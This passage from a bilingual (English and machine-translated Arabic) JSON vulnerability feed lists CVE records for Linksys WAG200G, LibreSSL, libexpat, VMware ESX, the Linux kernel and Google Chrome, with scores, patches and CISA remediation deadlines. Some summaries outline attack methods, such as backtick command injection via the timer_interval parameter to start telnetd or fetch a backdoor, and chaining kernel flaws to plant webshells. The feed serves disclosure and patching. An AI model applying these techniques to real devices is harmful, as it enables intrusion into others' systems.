بصلاحيات root أو تغيير إعدادات الخادم."},"refs":[["https://www.vulncheck.com/advisories/crushftp-before-7.3.0-cross-site-request-forgery-via-webinterface-function","advisory"],["https://www.crushftp.com/version7.html","ref"],["https://www.exploit-db.com/exploits/36126","ref"]],"epss":0.0015,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"crushftp"},{"id":"CVE-2013-20007","cvss":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-78","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T03:17:07Z","product":"Linksys WAG200G","affected":[["0 – 1.01.06",null]],"title":{"en":"Linksys WAG200G through 1.01.06 OS Command Injection via timer_interval in setup.cgi","ar":"حقن أوامر نظام التشغيل في Linksys WAG200G حتى الإصدار 1.01.06 عبر timer_interval في setup.cgi"},"summary":{"en":"Linksys WAG200G through 1.01.06 contains an OS command injection vulnerability that allows authenticated attackers to execute commands by injecting backtick-delimited input into the timer_interval parameter. Attackers can send a crafted POST request to setup.cgi to start telnetd or download and run a backdoor, gaining full device control.","ar":"يحتوي Linksys WAG200G حتى الإصدار 1.01.06 على ثغرة حقن أوامر نظام التشغيل التي تسمح لمهاجم يملك حسابًا مصادق عليه بتنفيذ أوامر عن طريق حقن إدخال محاط بعلامات الاقتباس المائية (backticks) في معلمة timer_interval. يمكن للمهاجمين إرسال طلب POST معد خصيصًا إلى setup.cgi لبدء تشغيل telnetd أو تنزيل باب خلفي وتشغيله، مما يمنحهم سيطرة كاملة على الجهاز."},"refs":[["https://www.s3cur1ty.de/m1adv2013-016","advisory"],["https://www.vulncheck.com/advisories/linksys-wag200g-through-1.01.06-os-command-injection-via-timer-interval-in-setup-cgi","advisory"],["https://www.exploit-db.com/exploits/24476","ref"]],"epss":0.02,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"linksys-wag200g"},{"id":"CVE-2026-118374","cvss":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-770","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T02:03:22Z","product":"OpenBSD LibreSSL","affected":[["0 – 4.4.0",null]],"title":{"en":"LibreSSL ocspcheck through 4.4.0 Memory Exhaustion via Unbounded OCSP HTTP Response","ar":"استنفاد الذاكرة في LibreSSL ocspcheck حتى الإصدار 4.4.0 عبر استجابة OCSP HTTP غير محدودة"},"summary":{"en":"LibreSSL ocspcheck through 4.4.0 contains a memory exhaustion vulnerability that allows malicious OCSP responders to exhaust memory by sending unbounded HTTP responses. Attackers controlling the responder or intercepting plain HTTP AIA OCSP traffic can stream endless headers or body data to http_head_read() and http_body_read(), denying certificate status checks.","ar":"يحتوي LibreSSL ocspcheck حتى الإصدار 4.4.0 على ثغرة استنفاد الذاكرة التي تسمح لمجيبي OCSP الخبيثين باستنفاد الذاكرة عن طريق إرسال استجابات HTTP غير محدودة. يمكن للمهاجمين الذين يتحكمون في المجيب أو يعترضون حركة مرور AIA OCSP عبر HTTP العادي بث رؤوس أو بيانات جسم لا نهائية إلى الدوال http_head_read() و http_body_read()، مما يؤدي إلى حجب فحوصات حالة الشهادة."},"refs":[["https://github.com/openbsd/src/commit/bf5da63f53179ef423d18c56d6da89eaefb56228","patch"],["https://github.com/openbsd/src/commit/de4274c56c9ace88232591d4c919d79281a8de59","patch"],["https://www.vulncheck.com/advisories/libressl-ocspcheck-through-4.4.0-memory-exhaustion-via-unbounded-ocsp-http-response","advisory"],["https://github.com/openbsd/src/blob/f6f428241d469cf434e60b73fc834d0448f068d5/usr.sbin/ocspcheck/http.c#L419","ref"],["https://ftp.openbsd.org/pub/OpenBSD/LibreSSL/libressl-4.4.0-relnotes.txt","ref"],["https://github.com/libressl/portable","ref"]],"epss":0.0021,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"openbsd-libressl"},{"id":"CVE-2026-118370","cvss":8.2,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-190","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T02:03:19Z","product":"libexpat libexpat","affected":[["0 – 2.9.0",null],[" – 2.9.0",null]],"title":{"en":"libexpat through 2.9.0 Integer Overflow in storeAtts via attIndex and nPrefixes","ar":"فيضان عدد صحيح في libexpat حتى الإصدار 2.9.0 ضمن storeAtts عبر attIndex و nPrefixes"},"summary":{"en":"libexpat through 2.9.0 contains a signed integer overflow vulnerability in storeAtts() in lib/xmlparse.c that allows attackers to trigger out-of-bounds writes via oversized attribute counts. Attackers can supply a multi-gigabyte document with a start tag carrying over 2^30 attributes to overflow attIndex and nPrefixes, crashing applications or corrupting heap memory.","ar":"يحتوي libexpat حتى الإصدار 2.9.0 على ثغرة فيضان عدد صحيح موقع في الدالة storeAtts() داخل الملف lib/xmlparse.c والتي تسمح للمهاجمين بتشغيل عمليات كتابة خارج الحدود عبر تعداد سمات مفرط الحجم. يمكن للمهاجمين توفير مستند متعدد الجيجابايت مع علامة بداية تحمل أكثر من 2^30 سمة لفيضان attIndex و nPrefixes، مما يؤدي إلى تعطل التطبيقات أو تلف ذاكرة الكومة (heap memory)."},"refs":[["https://github.com/libexpat/libexpat/pull/1450","patch"],["https://github.com/libexpat/libexpat/commit/1bac53c4fc460a03cd9860f39501c7979f6750ae","patch"],["https://github.com/libexpat/libexpat/commit/621cb2c78b253ee023a86bc91d6ddb048481c04c","patch"],["https://www.vulncheck.com/advisories/libexpat-through-2.9.0-integer-overflow-in-storeatts-via-attindex-and-nprefixes","patch"],["https://github.com/libexpat/libexpat/blob/a76b1174c1ea52abb639a4c69d52b630a8a106a2/expat/lib/xmlparse.c#L4138-L4140","ref"],["https://github.com/libexpat/libexpat","ref"]],"epss":0.0039,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"libexpat"},{"id":"CVE-2013-20008","cvss":7,"vector":"CVSS:4.0/AV:P/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-620","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T02:03:11Z","product":"Linksys WAG200G","affected":[["0 – 1.01.06",null]],"title":{"en":"Linksys WAG200G through 1.01.06 Admin Password Change Without Current Password","ar":"تغيير كلمة مرور المسؤول دون كلمة المرور الحالية في Linksys WAG200G حتى 1.01.06"},"summary":{"en":"Linksys WAG200G through 1.01.06 contains a weak password change mechanism that allows attackers to change the administrator password without supplying the current password. Attackers with access to an authenticated administrator browser session can set a new password to lock out the legitimate administrator and take persistent device control.","ar":"يحتوي Linksys WAG200G حتى 1.01.06 على آلية ضعيفة لتغيير كلمة المرور تسمح للمهاجمين بتغيير كلمة مرور المسؤول دون توفير كلمة المرور الحالية. يمكن للمهاجمين الذين يمتلكون إمكانية الوصول إلى جلسة متصفح لمسؤول مصادق عليه تعيين كلمة مرور جديدة لحظر المسؤول الشرعي والسيطرة الدائمة على الجهاز."},"refs":[["https://www.s3cur1ty.de/m1adv2013-016","advisory"],["https://www.vulncheck.com/advisories/linksys-wag200g-through-1.01.06-admin-password-change-without-current-password","advisory"],["https://www.exploit-db.com/exploits/24476","ref"]],"epss":0.0025,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"linksys-wag200g"},{"id":"CVE-2026-41709","cvss":2.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N","cwe":"CWE-778","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-10-28T00:00:00Z","product":"Broadcom VMware ESX","affected":[["5.x – <5.2.4","5.2.4"],["9.1.x.x – <ESXi-9.1.0.0-25370933","ESXi-9.1.0.0-25370933"],["9.0.x.x – <ESXi-9.0.2.0100-25595025","ESXi-9.0.2.0100-25595025"],["8.0 – <ESXi80U3j-25429389","ESXi80U3j-25429389"]],"title":{"en":"Broadcom VMWare ESX Insufficient Logging Vulnerability","ar":"ثغرة قصور في تسجيل الأحداث في Broadcom VMWare ESX"},"summary":{"en":"Broadcom VMWare ESX contains an insufficient logging vulnerability that could allow a malicious actor with admin access to perform certain operations without being logged.","ar":"يحتوي Broadcom VMWare ESX على ثغرة قصور في تسجيل الأحداث قد تسمح لجهة ضارة تتمتع بصلاحيات المسؤول (admin) بإجراء عمليات معينة دون تسجيلها."},"refs":[["https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/38017","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-41709","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-41709","ref"]],"epss":0.0069,"kevAdded":"2026-10-28T00:00:00Z","kevDue":"2026-11-11T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA BOD 26-04 حول إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع توجيهات BOD 26-04 المعمول بها للخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تقع على الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات BOD 26-04.","machineTranslated":true,"productSlug":"broadcom-vmware-esx"},{"id":"CVE-2026-46300","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-123","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-10-28T00:00:00Z","product":"Linux Kernel","affected":[["3.9",null]],"title":{"en":"Linux Kernel Missing Initialization of a Variable Vulnerability","ar":"ثغرة غياب تهيئة متغير في نواة Linux"},"summary":{"en":"Linux Kernel contains a missing initialization of a variable vulnerability that could allow for unintended modification of page-cache-backed data via failure to preserve the shared-fragment marker during socket buffer coalescing, causing ESP input processing to decrypt shared fragments in place. This vulnerability can be chained with CVE-2026-109618 and CVE-2026-109619 to implant PHP webshells and run commands as root.","ar":"تحتوي نواة Linux على ثغرة تمثلت في غياب تهيئة متغير مما قد يسمح بتعديل غير مقصود للبيانات المدعومة بذاكرة التخزين المؤقت للصفحات عبر الفشل في الحفاظ على علامة القطعة المشتركة أثناء دمج مخزن مؤقت للمقبس (socket buffer)، مما يتسبب في قيام معالجة مدخلات ESP بفك تشفير القطع المشتركة في مكانها. يمكن ربط هذه الثغرة مع CVE-2026-109618 و CVE-2026-109619 لزرع قواقع ويب PHP وتشغيل الأوامر بصلاحيات root."},"refs":[["https://git.kernel.org/stable/c/3599e6b3cc1ada96883d496a50a210d3afbb6987","advisory"],["https://git.kernel.org/stable/c/2f2b16022a2e10ca7bccfb98db5ed2ec0f72641c","advisory"],["https://git.kernel.org/stable/c/9d3e5fd19fe1063bf607219e8562fbd567b8e8d5","advisory"],["https://git.kernel.org/stable/c/78bf6b6bb19541d19fbda6242e7cfe2c682763c0","advisory"],["https://git.kernel.org/stable/c/760e1addc27ba1a7beb4a0a7e8b3e9ec49e7a34e","advisory"],["https://git.kernel.org/stable/c/3bd9e113d50034db99d7ef69fd8e5242d15e414a","advisory"],["https://git.kernel.org/stable/c/3884358a9286b17f389a72b1426fc4547c23c111","advisory"],["https://git.kernel.org/stable/c/f84eca5817390257cef78013d0112481c503b4a3","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-46300","advisory"],["https://access.redhat.com/errata/RHSA-2026:19540","advisory"]],"epss":0.1613,"kevAdded":"2026-10-28T00:00:00Z","kevDue":"2026-10-31T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات الوكالة الأمريكية للأمن السيبراني وأمن البنية التحتية (CISA) BOD 26-04 بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر (راجع الرابط في الملاحظات) ومتطلبات الفرز الجنائي لـ CISA. اتبع إرشادات BOD 26-04 المطبقة على خدمات السحابة أو أوقف استخدام المنتج إذا لم تتوفر إجراءات التخفيف. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"linux-kernel"},{"id":"CVE-2026-58257","cvss":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-22","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-27T23:17:06Z","product":"JeromeDevome GRR","affected":[],"title":{"en":"GRR vulnerable to Arbitrary File Read and Deletion","ar":"نظام GRR عرضة لقراءة وحذف الملفات العشوائية"},"summary":{"en":"GRR is a resource management and reservation application. Prior to the advisory-reported fixed version 4.5.0, the database restoration feature fails to enforce or validate file paths. A user with administrator privileges can manipulate the input to read or delete arbitrary files on the server, causing sensitive file disclosure and denial of service through file deletion. The impact is amplified when the server runs with elevated privileges. The advisory reports this issue as fixed in version 4.5.0.","ar":"GRR هو تطبيق لإدارة الموارد والحجوزات. قبل الإصدار 4.5.0 المُبلّغ عن إصلاحه في الإشعار، تفشل ميزة استعادة قاعدة البيانات في فرض مسارات الملفات أو التحقق منها. يمكن للمستخدم الذي تتمتع بصلاحيات المشرف التلاعب بالمدخلات لقراءة أو حذف ملفات عشوائية على الخادم، مما يتسبب في كشف ملفات حساسة وحجب الخدمة من خلال حذف الملفات. ويتضاعف الأثر عندما يعمل الخادم بصلاحيات مرتفعة. يُبلغ الإشعار عن حل هذه المشكلة في الإصدار 4.5.0."},"refs":[["https://github.com/JeromeDevome/GRR/commit/e1f93b08ae6ebbab3ddbcd6b900800c39fb048de","ref"],["https://github.com/JeromeDevome/GRR/security/advisories/GHSA-p8vm-f8mr-q7w7","ref"],["https://github.com/JeromeDevome/GRR/tree/v4.5.0","ref"]],"epss":0.0047,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"jeromedevome-grr"},{"id":"CVE-2026-118342","cvss":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T23:17:03Z","product":"Google Chrome","affected":[[" – <156.0.8078.73","156.0.8078.73"]],"title":{"en":"Use after free in Editing in Google Chrome prior to 156.0.8078.73 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted","ar":"استخدام الذاكرة بعد تحريرها في ميزة Editing في متصفح Google Chrome للإصدارات السابقة لـ 156.0.8078.73 سمح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية داخل صندوق الحماية عبر صفحة HTML مصممة."},"summary":{"en":"Use after free in Editing in Google Chrome prior to 156.0.8078.73 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","ar":"استخدام الذاكرة بعد تحريرها في ميزة Editing في متصفح Google Chrome للإصدارات السابقة لـ 156.0.8078.73 سمح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية داخل صندوق الحماية عبر صفحة HTML مصممة. (خطورة أمان Chromium: عالية)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_0562499947.html","advisory"],["https://issues.chromium.org/issues/574412629","ref"]],"epss":0.003,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-118343","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T23:17:03Z","product":"Google Chrome","affected":[[" – <156.0.8078.73","156.0.8078.73"]],"title":{"en":"Use after free in ReadingList in Google Chrome prior to 156.0.8078.73 allowed a remote attacker leveraging social engineering to execute arbitrary cod","ar":"استخدام الذاكرة بعد تحريرها في ميزة ReadingList في متصفح Google Chrome للإصدارات السابقة لـ 156.0.8078.73 سمح لمهاجم عن بُعد يستغل الهندسة الاجتماعية بتنفيذ شيفرة عشوائية."},"summary":{"en":"Use after free in ReadingList in Google Chrome prior to 156.0.8078.73 allowed a remote attacker leveraging social engineering to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","ar":"استخدام الذاكرة بعد تحريرها في ميزة ReadingList في متصفح Google Chrome للإصدارات السابقة لـ 156.0.8078.73 سمح لمهاجم عن بُعد يستغل الهندسة الاجتماعية بتنفيذ شيفرة عشوائية خارج صندوق الحماية عبر صفحة HTML مصممة. (خطورة أمان Chromium: عالية)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_0562499947.html","advisory"],["https://issues.chromium.org/issues/573389782","ref"]],"epss":0.0026,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-118337","cvss":9.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N","cwe":"CWE-284","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T23:17:02Z","product":"Google Chrome","affected":[[" – <156.0.8078.73","156.0.8078.73"]],"title":{"en":"Improper access control in Forms in Google Chrome prior to 156.0.8078.73 allowed a remote attacker to bypass web origin policy via a crafted HTML page","ar":"تحكم غير سليم في الوصول إلى النماذج (Forms) في Google Chrome قبل الإصدار 156.0.8078.73 سمح لمهاجم عن بُعد بتجاوز سياسة منشأ الويب عبر صفحة HTML مصممة خصيصًا"},"summary":{"en":"Improper access control in Forms in Google Chrome prior to 156.0.8078.73 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: High)","ar":"تحكم غير سليم في الوصول إلى النماذج (Forms) في Google Chrome قبل الإصدار 156.0.8078.73 سمح لمهاجم عن بُعد بتجاوز سياسة منشأ الويب عبر صفحة HTML مصممة خصيصًا. (خطورة أمان Chromium: عالية)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_0562499947.html","advisory"],["https://issues.chromium.org/issues/569286605","ref"]],"epss":0.002,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-118338","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-203","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T23:17:02Z","product":"Google Chrome","affected":[[" – <156.0.8078.73","156.0.8078.73"]],"title":{"en":"Observable discrepancy in Animation in Google Chrome prior to 156.0.8078.73 allowed a remote attacker to obtain cross-origin data via a crafted HTML p","ar":"تناقض ملحوظ في ميزة Animation في متصفح Google Chrome للإصدارات السابقة لـ 156.0.8078.73 سمح لمهاجم عن بُعد بالحصول على بيانات عبر النطاقات عبر صفحة HTML مصممة."},"summary":{"en":"Observable discrepancy in Animation in Google Chrome prior to 156.0.8078.73 allowed a remote attacker to obtain cross-origin data via a crafted HTML page. (Chromium security severity: Medium)","ar":"تناقض ملحوظ في ميزة Animation في متصفح Google Chrome للإصدارات السابقة لـ 156.0.8078.73 سمح لمهاجم عن بُعد بالحصول على بيانات عبر النطاقات عبر صفحة HTML مصممة. (خطورة أمان Chromium: متوسطة)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_0562499947.html","advisory"],["https://issues.chromium.org/issues/575826638","ref"]],"epss":0.0026,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-118340","cvss":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","cwe":"CWE-190","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T23:17:02Z","product":"Google Chrome","affected":[[" – <156.0.8078.73","156.0.8078.73"]],"title":{"en":"Integer overflow in Skia in Google Chrome prior to 156.0.8078.73 allowed a remote attacker to obtain cross-origin data via a crafted HTML page.","ar":"فيضان الأعداد الصحيحة في مكتبة Skia في متصفح Google Chrome للإصدارات السابقة لـ 156.0.8078.73 سمح لمهاجم عن بُعد بالحصول على بيانات عبر النطاقات عبر صفحة HTML مصممة."},"summary":{"en":"Integer overflow in Skia in Google Chrome prior to 156.0.8078.73 allowed a remote attacker to obtain cross-origin data via a crafted HTML page. (Chromium security severity: High)","ar":"فيضان الأعداد الصحيحة في مكتبة Skia في متصفح Google Chrome للإصدارات السابقة لـ 156.0.8078.73 سمح لمهاجم عن بُعد بالحصول على بيانات عبر النطاقات عبر صفحة HTML مصممة. (خطورة أمان Chromium: عالية)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_0562499947.html","advisory"],["https://issues.chromium.org/issues/568936530","ref"]],"epss":0.0035,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-118333","cvss":9.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T23:17:01Z","product":"Google Chrome","affected":[[" – <156.0.8078.73","156.0.8078.73"]],"title":{"en":"Missing authorization in Video in Google Chrome prior to 156.0.8078.73 allowed a remote attacker to bypass web origin policy via a crafted HTML page.","ar":"غياب المصادقة في الفيديو (Video) في Google Chrome قبل الإصدار 156.0.8078.73 سمح لمهاجم عن بُعد بتجاوز سياسة منشأ الويب عبر صفحة HTML مصممة خصيصًا."},"summary":{"en":"Missing authorization in Video in Google Chrome prior to 156.0.8078.73 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: High)","ar":"غياب المصادقة في الفيديو (Video) في Google Chrome قبل الإصدار 156.0.8078.73 سمح لمهاجم عن بُعد بتجاوز سياسة منشأ الويب عبر صفحة HTML مصممة خصيصًا. (خطورة أمان Chromium: عالية)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_0562499947.html","advisory"],["https://issues.chromium.org/issues/571147583","ref"]],"epss":0.002,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-118335","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-20","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T23:17:01Z","product":"Google Chrome","affected":[[" – <156.0.8078.73","156.0.8078.73"]],"title":{"en":"Improper input validation in Metrics in Google Chrome on on Mac prior to 156.0.8078.73 allowed a remote attacker to potentially execute arbitrary code","ar":"التحقق غير السليم من المدخلات في مكون Metrics في متصفح Google Chrome على نظام Mac للإصدارات السابقة لـ 156.0.8078.73 سمح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية محتملة"},"summary":{"en":"Improper input validation in Metrics in Google Chrome on on Mac prior to 156.0.8078.73 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","ar":"التحقق غير السليم من المدخلات في مكون Metrics في متصفح Google Chrome على نظام Mac للإصدارات السابقة لـ 156.0.8078.73 سمح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية محتملة داخل صندوق الحماية عبر صفحة HTML مُصممة خصيصًا. (خطورة أمان Chromium: عالية)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_0562499947.html","advisory"],["https://issues.chromium.org/issues/574606539","ref"]],"epss":0.0026,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-118328","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-125","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T23:17:01Z","product":"Google Chrome","affected":[[" – <156.0.8078.73","156.0.8078.73"]],"title":{"en":"Out of bounds read in WebRTC in Google Chrome prior to 156.0.8078.73 allowed a remote attacker to read memory inside the sandbox via a crafted HTML pa","ar":"قراءة خارج الحدود في ميزة WebRTC في متصفح Google Chrome للإصدارات السابقة لـ 156.0.8078.73 سمح لمهاجم عن بُعد بقراءة الذاكرة داخل صندوق الحماية عبر صفحة HTML مصممة."},"summary":{"en":"Out of bounds read in WebRTC in Google Chrome prior to 156.0.8078.73 allowed a remote attacker to read memory inside the sandbox via a crafted HTML page. (Chromium security severity: High)","ar":"قراءة خارج الحدود في ميزة WebRTC في متصفح Google Chrome للإصدارات السابقة لـ 156.0.8078.73 سمح لمهاجم عن بُعد بقراءة الذاكرة داخل صندوق الحماية عبر صفحة HTML مصممة. (خطورة أمان Chromium: عالية)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_0562499947.html","advisory"],["https://issues.chromium.org/issues/570927027","ref"]],"epss":0.004,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-118329","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-908","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T23:17:01Z","product":"Google Chrome","affected":[[" – <156.0.8078.73","156.0.8078.73"]],"title":{"en":"Uninitialized resource in ANGLE in Google Chrome on on Mac prior to 156.0.8078.73 allowed a remote attacker to read memory outside the sandbox via a c","ar":"مورد غير مُهيا في مكتبة ANGLE في متصفح Google Chrome على نظام التشغيل Mac للإصدارات السابقة لـ 156.0.8078.73 سمح لمهاجم عن بُعد بقراءة الذاكرة خارج صندوق الحماية عبر صفحة HTML مصممة."},"summary":{"en":"Uninitialized resource in ANGLE in Google Chrome on on Mac prior to 156.0.8078.73 allowed a remote attacker to read memory outside the sandbox via a crafted HTML page. (Chromium security severity: High)","ar":"مورد غير مُهيا في مكتبة ANGLE في متصفح Google Chrome على نظام التشغيل Mac للإصدارات السابقة لـ 156.0.8078.73 سمح لمهاجم عن بُعد بقراءة الذاكرة خارج صندوق الحماية عبر صفحة HTML مصممة. (خطورة أمان Chromium: عالية)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_0562499947.html","advisory"],["https://issues.chromium.org/issues/568900535","ref"]],"epss":0.0039,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-118330","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-27T23:17:01Z","product":"Google Chrome","affected":[[" – <156.0.8078.73","156.0.8078.73"]],"title":{"en":"Use after free in Browser in Google Chrome on on Windows prior to 156.0.8078.73 allowed a remote attacker leveraging social engineering to execute arb","ar":"استخدام الذاكرة بعد تحريرها في المتصفح في Google Chrome على نظام التشغيل Windows للإصدارات السابقة لـ 156.0.8078.73 سمح لمهاجم عن بُعد يستغل الهندسة الاجتماعية بتنفيذ شيفرة عشوائية."},"summary":{"en":"Use after free in Browser in Google Chrome on on Windows prior to 156.0.8078.73 allowed a remote attacker leveraging social engineering to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","ar":"استخدام الذاكرة بعد تحريرها في المتصفح في Google Chrome على نظام التشغيل Windows للإصدارات السابقة لـ 156.0.8078.73 سمح لمهاجم عن بُعد يستغل الهندسة الاجتماعية بتنفيذ شيفرة عشوائية خارج صندوق الحماية عبر صفحة HTML مصممة. (خطورة أمان Chromium: 